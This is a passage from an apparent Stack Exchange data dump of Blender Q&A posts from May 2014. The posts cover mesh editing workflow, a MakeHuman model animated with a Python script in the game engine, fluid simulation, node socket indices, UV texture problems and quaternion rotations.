LastActivityDate="2014-05-19T07:23:19.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10505" PostTypeId="2" ParentId="7850" CreationDate="2014-05-19T07:56:25.637" Score="5" Body="&lt;p&gt;There is a workflow solution to this. While you're making a model, if you think that you may want to change one or more parts of the model, make that set of parts separate bits of the mesh. This can be achieved with a vertex group, or just by leaving the part of the mesh unconnected to the rest of the object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you decide to select on part, select it by using the defined vertex group, or if you've left it unconnected to the rest of the mesh, by selecting a point on the part and pressing &lt;kbd&gt;CTRL&lt;/kbd&gt; - &lt;kbd&gt;L&lt;/kbd&gt;, or by pressing &lt;kbd&gt;CTRL&lt;/kbd&gt; [numpad] &lt;kbd&gt;+&lt;/kbd&gt; until the part is selected. Get the necessary parameters of the part (especially the median point location), or create the new one, if not at the desired location, in a way that you can move it there, and when it is in the desired place delete the original. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-08-14T17:45:53.393" LastActivityDate="2015-08-14T17:45:53.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10506" PostTypeId="1" CreationDate="2014-05-19T08:05:33.977" Score="3" ViewCount="896" Body="&lt;p&gt;I am having trouble trying to get a MakeHuman model to be controlled through a python script in the BGE. The model either doesn't show the teeth, or the eyes, inner mouth and teeth appear over the model, as per the attached image. My game logic is simply a loop connecting the python script to run the armature movements.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uUjMF.png&quot; alt=&quot;enter image description here&quot;&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code, note that I use numpy to manipulate a matrix which is imported using h5py library (this all works fine, moving the mouth bones). I think my problem lies in my settings, of which Blender has many, or my PC is unable to handle the graphics calculations... Any help would be greatly apprecitated! &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;import code  &#xA;import aud # audio&#xA;import numpy as np&#xA;import time&#xA;import h5py&#xA;&#xA;&#xA;cn=bge.logic.getCurrentController()&#xA;ow=cn.owner&#xA;&#xA;##The default logic tic rate is 60 times per second (60Hz float number)&#xA;bge.logic.setLogicTicRate(25.0) #running at 25fsp&#xA;&#xA;global PUpLipMid&#xA;global PLoLipMid&#xA;global PMouth_R&#xA;global PMouth_L&#xA;global PTongue&#xA;global Pjaw&#xA;&#xA;global j&#xA;j=0&#xA;&#xA;&#xA;def main (cn):&#xA;    global j&#xA;    boneInit() #init bones to move armature&#xA;    if j&amp;lt;119:  #before dataMatrix runs out&#xA;        print ('main ', j)&#xA;        [TL, BL, J, MW]=getDataPoints(j)&#xA;        SKM = ratioFunction(TL, BL, J, MW)&#xA;        print('SKM\n', SKM)&#xA;        MovesBones(SKM)&#xA;        j+=1&#xA;    sa1() #sound&#xA;&#xA;&#xA;###################  boneInit  ######################## &#xA;def boneInit():&#xA;    if not &quot;init&quot; in ow:&#xA;        ow[&quot;init&quot;]=1&#xA;        cn.activate(cn.actuators[&quot;Armature&quot;])&#xA;&#xA;&#xA;################  read data matrix  ##################&#xA;def getDataPoints(j):&#xA;    print ('getDataPoints ', j)&#xA;    with h5py.File('test.h5', 'r') as f:&#xA;        points = f['/Points'].value&#xA;        NumDataPoints=points.shape&#xA;        #print(NumDataPoints[0])&#xA;        colm=NumDataPoints[0]/4&#xA;        points.shape = (colm,4) # TL,BL,J,MW&#xA;        #print (points)&#xA;    TL=points[j,0] #Dist from nose to: Top Lip&#xA;    BL=points[j,1] #Bottom Lip&#xA;    J=points[j,2] #Jaw&#xA;    MW=points[j,3] #Mouth Width &#xA;    return TL, BL, J, MW&#xA;&#xA;&#xA;###################  Ratio Function  ##################### &#xA;def ratioFunction(TL, BL, J, MW):&#xA;#SKM matrix generated for PUpLipMid, PLoLipMid, Pjaw, PMouth_R, PMouth_L &#xA;    #print('TL=',TL,'BL=',BL,'J=',J,'MW=',MW)&#xA;    SKM=np.zeros(shape=(5,3)) # SKM 5 bones [x(0),y(1),z(2)] coordnts &#xA;    SKM[0][2] =(-0.002*TL-0.05) #PUpLipMid&#xA;    SKM[1][2] =(0.002*BL) #PLoLipMid&#xA;    SKM[2][2] =(0.0005*J) #Pjaw&#xA;    SKM[3][0] =(0.002*MW) #PMouth_R&#xA;    SKM[4][0] =(-0.002*MW) #PMouth_L&#xA;    #print(SKM)&#xA;    return SKM &#xA;&#xA;&#xA;###################  Move bones  ########################    &#xA;def MovesBones(SKM):&#xA;    global PUpLipMid&#xA;    global PLoLipMid&#xA;    global Pjaw&#xA;    global PMouth_R&#xA;    global PMouth_L&#xA;&#xA;    PUpLipMid=ow.channels[&quot;PUpLipMid&quot;] #boneName=ow.channels[&quot;Bone&quot;] #BL_ArmatureObject.channels[&quot;ChannelName&quot;]&#xA;    PUpLipMid.location=[SKM[0][0],SKM[0][2],SKM[0][2]] #zero bone's local location &#xA;    print(&quot;PUpLipMid: &quot;,PUpLipMid.location) &#xA;    PLoLipMid=ow.channels[&quot;PLoLipMid&quot;] &#xA;    PLoLipMid.location=[SKM[1][0],SKM[1][3],SKM[1][2]]&#xA;    print(&quot;PLoLipMid: &quot;,PLoLipMid.location)&#xA;    Pjaw=ow.channels[&quot;PJaw&quot;] &#xA;    Pjaw.location=[SKM[2][0],SKM[2][4],SKM[2][2]]  &#xA;    print(&quot;Pjaw: &quot;,Pjaw.location)   &#xA;    PMouth_R=ow.channels[&quot;PMouth_R&quot;] &#xA;    PMouth_R.location=[SKM[3][0],SKM[3][5],SKM[3][2]] &#xA;    print(&quot;PMouth_R: &quot;,PMouth_R.location)&#xA;    PMouth_L=ow.channels[&quot;PMouth_L&quot;] &#xA;    PMouth_L.location=[SKM[4][0],SKM[4][6],SKM[4][2]] &#xA;    print(&quot;PMouth_L: &quot;,PMouth_L.location)  &#xA;&#xA;&#xA;&#xA;###################  audio  ########################&#xA;def sa1():&#xA;    global i&#xA;    sound = aud.Factory('sa1.mp3') #.file('sa1') #wav file in blender file  &#xA;    #print (&quot;I TURNERED OFF THE SOUND @ main STEP2 sa1 Func!&quot;)&#xA;    if not 'play' in ow: #will play sound only once &#xA;         ow['device'] = aud.device() &#xA;         ow['device'].play(sound)&#xA;         ow['play'] = 1&#xA;    i=3 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have been playing around with many setting, including that one that you mentioned (thank for clarifying where the clipping planes option was). Your solution does help to an extent, but only if I cut through half the head, and even then the model is not full stable, as per the images below where I have the exact same settings but sometime the teeth and eye pop out when I run the GBE. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/zjOLO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2238" LastEditorUserId="2238" LastEditDate="2014-05-20T12:40:42.687" LastActivityDate="2014-07-31T03:02:56.913" Title="MakeHuman models' teeth show through face in the BGE?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;armature&gt;&lt;makehuman&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10507" PostTypeId="2" ParentId="10438" CreationDate="2014-05-19T10:28:20.290" Score="3" Body="&lt;p&gt;I tried to lock everything but then I coludn't move the objects. The solution is to put an Always sensor and a Parent actuator in the game logic.&lt;/p&gt;&#xA;" OwnerUserId="2821" LastEditorUserId="2821" LastEditDate="2014-05-19T14:01:19.530" LastActivityDate="2014-05-19T14:01:19.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10508" PostTypeId="1" CreationDate="2014-05-19T16:42:46.883" Score="1" ViewCount="1100" Body="&lt;p&gt;I am wondering how to make stationary lava with a fluid simulation in blender.  I don't want it to be an object I want it to be fluid.  And I also don't want it to be filling up as the animation starts.&lt;/p&gt;&#xA;" OwnerUserId="3539" LastEditorUserId="2217" LastEditDate="2014-05-19T19:06:50.483" LastActivityDate="2016-04-07T19:31:32.743" Title="How can I make stationary lava with the fluid simulation in blender?" Tags="&lt;fluid-simulation&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10509" PostTypeId="2" ParentId="9325" CreationDate="2014-05-19T17:38:56.020" Score="1" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uM0ZD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you add more geometry to these non-planer areas then you can easily end up with many more non-planer poly's which becomes more difficult to clear up.  You can fix this when the model is still very simple by aligning the view from different angles and adjusting points one at a time until the area looks flat from every direction, once all that's done then start adding more geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I also see several loop cuts that are really close together and this can exaggerate the non-planer issue because the thinly sliced quads can become overlapped.  There are several cases of this happening here.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think to start with, it's a good idea to test whether or not loops are too close by zooming out and making sure that you can still see a clear distinction between individual loops.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To help clear this up you can activate &lt;em&gt;Edge Selection&lt;/em&gt; mode then use &lt;kbd&gt;Alt&lt;/kbd&gt;+Click to select an entire edge loop and double tap &lt;kbd&gt;g&lt;/kbd&gt; to slide the edges around until they are more even.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may have also noticed that when you first create an Edge-Loop that you can slide it around before pressing &lt;kbd&gt;Enter&lt;/kbd&gt; to set the &lt;em&gt;Loop&lt;/em&gt;.  Use this to control exact placement when creating them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also many extra &lt;em&gt;Loops&lt;/em&gt; in there that are likely unnecessarily because generally they are only needed close to the edges but not normally across flat surfaces between the transitions(I'm sure many people have reasons to do this but in your case I would avoid it for now until you are sure you need to do this).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to remove unwanted Edge-Loops, you can select a Loop using &lt;kbd&gt;Alt&lt;/kbd&gt;+Click as before and press &lt;kbd&gt;x&lt;/kbd&gt; then &lt;kbd&gt;g&lt;/kbd&gt;. This will first open the &lt;em&gt;Delete&lt;/em&gt; menu then activate the &lt;em&gt;Edge-Loop&lt;/em&gt; delete function.  This is a great way to clean up a model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/88PWx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-05-19T17:48:34.937" LastActivityDate="2014-05-19T17:48:34.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10510" PostTypeId="1" AcceptedAnswerId="10547" CreationDate="2014-05-19T18:37:57.967" Score="4" ViewCount="727" Body="&lt;p&gt;I need to obtain just the index value from node_tree.links[...].from_socket, I am able to see it like for example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# this is example&#xA;bpy.data.materials[&quot;SomeMat&quot;].node_tree.nodes[&quot;SomeNode&quot;].outputs[0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I would like to save just the index value [0] to variable...how to? I am lost seeing no option for this... :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example there is a way how to find out the name of the &quot;.from_socket&quot; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; bpy.data.materials[&quot;SomeMat&quot;].node_tree.links[0].from_socket.name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and then I get its name, for example output socket called &quot;BSDF&quot;. But is there something that returns index number of used output instead of its name as stated above? Cos if I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BTW this gives me exactly what I would normaly needed like 'bpy.data.materials[&quot;SomeMat&quot;].node_tree.nodes[&quot;SomeNode&quot;].outputs[0]' but this time I need to get only the last index value, it is: [0]&#xA;idx = bpy.data.materials[&quot;SomeMat&quot;].node_tree.links[0].from_socket&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...then the variable is whole object, not just the index value :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why I need this is because I am copying nodes with their links and all settings from one material to another one, everything work except links, it works OK if there is just one instance of concrete input socket, if there are two of the same name like in Mix Shader (it has two inputs called the same as &quot;shader&quot;) then my script does not work right cos it uses socket names instead of their index values like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;links.new(nodes[i.from_node.name].outputs[i.from_socket.name], nodes[i.to_node.name].outputs[i.to_socket.name])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my new working script would be then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# see .INDEX is meant just as kind of signature for the index number I am talking about thru all this post&#xA;links.new(nodes[i.from_node.name].outputs[i.from_socket.INDEX], nodes[i.to_node.name].outputs[i.to_socket.INDEX])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And all of this just because the most common solution does not work at all, this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;links.new(i.from_socket, i.to_socket)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I use this then no connections are made...BUT WHY???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW I did try to solve it by work around of renaming MixShader socket inputs [1] and [2] that uses the same name of &quot;Shader&quot; to something like &quot;A&quot; and &quot;B&quot; but as soon as I do it Blender crashes right after successful renaming (BTW why in the world they uses the same name at all causing this kind of problems??? gee...)...so no go this way :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: I need &lt;strong&gt;only script solutions&lt;/strong&gt;, thanx&lt;/p&gt;&#xA;" OwnerUserId="3462" LastEditorUserId="3462" LastEditDate="2014-05-20T10:30:35.220" LastActivityDate="2020-10-19T12:41:30.410" Title="get node links from_socket index value" Tags="&lt;nodes&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10511" PostTypeId="1" AcceptedAnswerId="10513" CreationDate="2014-05-19T19:16:17.907" Score="10" ViewCount="56515" Body="&lt;p&gt;In a lot of tutorials the authors start out with a custom shape that they don't explain how to make. By custom shape I mean something that isn't based on one of the primitive shapes, so no extruding, etc. A good example of what I mean is something like &lt;a href=&quot;https://www.youtube.com/watch?v=QY7iJmqsJf8&quot;&gt;https://www.youtube.com/watch?v=QY7iJmqsJf8&lt;/a&gt; when he shows the bullet he made but didn't show how. I am also curious as to how to go about this with more complex shapes, like for example highly detailed models.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I apologize if this is a very easy to answer question, but all of the tutorials I can find talk about advanced automatic features and completely skip the actual modeling which is what interests me most right now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, I am NOT talking about just subdividing something.. I am asking how to make shapes from scratch like seemingly almost everyone is able to do in a minute or two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for reading and I appreciate all responses because I have a lot to learn.&lt;/p&gt;&#xA;" OwnerUserId="3541" LastEditorUserId="599" LastEditDate="2015-06-20T01:00:52.263" LastActivityDate="2017-10-24T04:34:55.837" Title="How do you make custom shapes?" Tags="&lt;modeling&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10513" PostTypeId="2" ParentId="10511" CreationDate="2014-05-19T19:32:20.937" Score="17" Body="&lt;p&gt;That's more or less how it's done. You model them, starting from a primitive. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, to make a bullet you might start with a cylinder or circle (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt;Mesh&lt;/em&gt;) and then extrude (&lt;kbd&gt;E&lt;/kbd&gt;) and scale (&lt;kbd&gt;S&lt;/kbd&gt;) to top ring repeatedly, finally merging it into a single vertex (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q7yjn.gif&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you must be in &lt;em&gt;Edit mode&lt;/em&gt; in order to edit the underlying geometry of an object (you can toggle edit mode quickly with &lt;kbd&gt;Tab&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more complex models, you might use a different primitive. For example, most round objects (e.g. bowl) can be started with a circle, while for a more free-form object you might use a plane or even a single vertex:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/FlawedIgnorantJohndory&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://giant.gfycat.com/FlawedIgnorantJohndory.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This is a rather sloppy example, especially as I could have used a circle as the starting mesh, but I think you get the idea&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There are many great tutorials on modeling in blender (&lt;a href=&quot;https://www.google.com/search?q=blender%20modeling%20tutorial&quot; rel=&quot;noreferrer&quot;&gt;look around on youtube etc.&lt;/a&gt;), here's a &lt;a href=&quot;https://blender.meta.stackexchange.com/a/43/599&quot;&gt;list of some good resources&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing you can do is watch modeling time-lapses like &lt;a href=&quot;http://vimeo.com/2879397&quot; rel=&quot;noreferrer&quot;&gt;this one&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-16T15:51:59.687" LastActivityDate="2014-05-19T20:21:23.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10514" PostTypeId="2" ParentId="10511" CreationDate="2014-05-19T20:09:10.947" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;almost everyone is able to do in a minute or two&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's wrong. Most models you might encounter in videos are either really easy to do (the bullet as explained in the answer by gandalf3) or the video of their making is speedup (can take up to 30 hours and more).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do you model these detailed things? I think a good tutorial to start with may be this: &lt;a href=&quot;https://www.youtube.com/watch?v=0LADw_gBQJI&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=0LADw_gBQJI&lt;/a&gt; . Now of course this is not top-notch but I guess you can learn something from it already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So maybe you noticed that the guy had a reference image placed in the background (&lt;em&gt;irony&lt;/em&gt;: it's very subtle). This is often/always? used. Even when designing game characters or the-like you will have a &lt;em&gt;concept art&lt;/em&gt;. That will allow you to use the picture as a reference to the look you wanted to give your model and speeds up the process. Modeling from scratch without concept art requires skill, training and a good 3d-visualization and is definitly more exhausting than modeling from an image.&#xA;A second skill you should develop is a sense for the &quot;looks&quot; of an object. Rotate your camera a bit and try to visualize the current state of the model. Now you should - in general - ask yourself &quot;Does it look natural?&quot;. This requires experience and doesn't come from itself so just &quot;get to it&quot; however the outcome may look, you'll do better next time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Learning modeling is a process and doesn't end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also most tutorial videos might use models found on blendswap.com (you have to register though), just for a hint.&lt;/p&gt;&#xA;" OwnerUserId="2251" LastActivityDate="2014-05-19T20:09:10.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10515" PostTypeId="1" AcceptedAnswerId="10519" CreationDate="2014-05-19T20:45:46.243" Score="3" ViewCount="1248" Body="&lt;p&gt;Please forgive if this is something obvious (I've only started looking at bpy today), but I don't seem to get a valid quaternion from objects, it's always coming out as (1.0, 0.0, 0.0, 0.0)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt; bpy.data.objects['Cube'].rotation_euler = (22.5,22.5,22.5)&#xA;&amp;gt;&amp;gt;&amp;gt; bpy.data.objects['Cube'].rotation_euler&#xA;Euler((22.5, 22.5, 22.5), 'XYZ')&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; bpy.data.objects['Cube'].rotation_quaternion&#xA;Quaternion((1.0, 0.0, 0.0, 0.0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt; Euler( bpy.data.objects['Cube'].rotation_euler ).to_quaternion()&#xA;Quaternion((-0.8905556797981262, -0.29705408215522766, 0.17443729937076569, -0.29705408215522766))&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; Euler( bpy.data.objects['Cube'].rotation_euler ).to_quaternion().to_euler()&#xA;Euler((0.5088514089584351, -0.5088514685630798, 0.5088514685630798), 'XYZ')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm missing something pretty basic?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="3194" LastEditorUserId="2217" LastEditDate="2014-05-20T22:23:59.847" LastActivityDate="2014-05-20T22:23:59.847" Title="Not getting anything sensible from rotation_quaternion" Tags="&lt;python&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10516" PostTypeId="2" ParentId="10511" CreationDate="2014-05-19T20:55:14.077" Score="0" Body="&lt;p&gt;User2853325, the way you word your question suggests that have not yet attained a very high degree of competence using Blender. If you were facile with the software, you realize the paradox in the following excerpt from you question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To clarify, I am NOT talking about just subdividing something.. I am asking how to make shapes from scratch like seemingly almost everyone is able to do in a minute or two.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The fact is that subdividing something is an essential technique used in making a mesh &quot;from scratch&quot;. An alternative to the animation in Gandalf3's answer, where he extruded the top ring of a cylinder, and scaled it in, would be to take a closed cylinder primitive, select all of the edges on the top, subdivide the edges twice, and pull the new rings up to the desired point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest that you review my answer to &lt;a href=&quot;https://blender.stackexchange.com/questions/10495/how-to-use-blenders-gui/10496#10496&quot;&gt;this Blender Stack Exchange question&lt;/a&gt;. I'd also suggest that at this stage in your investigation of Blender that you look more for tutorials that are at a &quot;basic&quot; level; while the preceding video in the tutorial is labeled &quot;basic&quot; the Blender Cookie website, the video to which you link is rated&quot;intermediate&quot;; if you found the video through a search on Youtube (as contrasted with finding it from the &lt;a href=&quot;http://cgcookie.com/blender/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CG Cookie&lt;/a&gt; website, you might want to include the word &quot;basic&quot; in your search parameters.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-05-19T20:55:14.077" CommentCount="0" CommunityOwnedDate="2014-05-19T20:55:14.077" ContentLicense="CC BY-SA 3.0" />
  <row Id="10517" PostTypeId="1" AcceptedAnswerId="10518" CreationDate="2014-05-19T21:08:24.750" Score="5" ViewCount="1974" Body="&lt;p&gt;I have never created a texture before, so I'm learning as I go. I created a texture map to edit in Photoshop, and for the most part, it's looking pretty good while I'm in Edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UOXN7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few things are on the wrong sides (like the trace of white on the back leg) but that can be easily fixed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go into object mode, however, the texture looks quite different:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K63JY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rabbit's chest is no longer white, and it has strange bands appearing here and there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there a way to mirror textures from one side to the other in Blender instead of trying to guesstimate in Photoshop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my .blend, in case that will help diagnose:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/29307&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/29307&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3503" LastEditorUserId="599" LastEditDate="2014-05-19T21:24:03.383" LastActivityDate="2014-05-19T21:52:28.500" Title="Textures appearing different in Edit and Object mode" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10518" PostTypeId="2" ParentId="10517" CreationDate="2014-05-19T21:15:36.697" Score="4" Body="&lt;p&gt;You have a &lt;em&gt;Decimate&lt;/em&gt; modifier which is removing some geometry in flat areas, messing up the UVs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove (by pressing the &lt;strong&gt;X&lt;/strong&gt; icon) or disable it (by pressing the camera and eye icons) and then everything will work properly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jzSvE.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As for mirroring, delete half of your model and then add a mirror modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0bHc8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the object origin has to be at the point you want to mirror around, so select the central loop and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&gt;Cursor to selected&lt;/em&gt;, then in object mode press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&gt;Origin to 3D cursor&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eUo1j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this does is map mirrored faces on top of each other in the UV map (if you apply the modifier you get your complete rabbit and you can see the resulting UVs in the UV editor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hwpKa.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-05-19T21:52:28.500" LastActivityDate="2014-05-19T21:52:28.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10519" PostTypeId="2" ParentId="10515" CreationDate="2014-05-19T21:34:39.770" Score="4" Body="&lt;p&gt;There are two problems with what you are doing:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Rotations are ambiguous:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For euler rotations there are the problems of &lt;a href=&quot;https://en.wikipedia.org/wiki/Gimbal_lock&quot; rel=&quot;nofollow noreferrer&quot;&gt;gimbal lock&lt;/a&gt; and the order in which the rotations are applied.&lt;/li&gt;&#xA;&lt;li&gt;Quaternions on the other hand will give the rotation which their corresponding normalized Quaternion would produce. This means that all scaled versions of a quaternion will result in the same rotation.&lt;br&gt; The &lt;a href=&quot;http://wiki.blender.org/index.php/User:Pepribal/Ref/Appendices/Rotation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Wiki&lt;/a&gt; gives a good overview about the meaning of the different rotation modes.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;The values of the other rotation modes are only set when you switch to them. The value you are reading from &lt;code&gt;rotation_quaternion&lt;/code&gt; is a default value.&lt;br&gt;To switch to another rotation mode in python set &lt;code&gt;bpy.data.objects['Cube'].rotation_mode&lt;/code&gt; to one of the following values:&lt;br&gt;&#xA;&lt;code&gt;'QUATERNION'&lt;/code&gt;, &lt;code&gt;'XYZ'&lt;/code&gt;, &lt;code&gt;'XZY'&lt;/code&gt;, &lt;code&gt;'YXZ'&lt;/code&gt;, &lt;code&gt;'YZX'&lt;/code&gt;, &lt;code&gt;'ZXY'&lt;/code&gt;, &lt;code&gt;'ZYX'&lt;/code&gt; or &lt;code&gt;'AXIS_ANGLE'&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You might also see different rotation values than which you set using python when you look at the properties of the object. The values in the image below are displayed after executing &lt;code&gt;bpy.data.objects['Cube'].rotation_euler = (22.5,22.5,22.5)&lt;/code&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/EcgQs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3089" 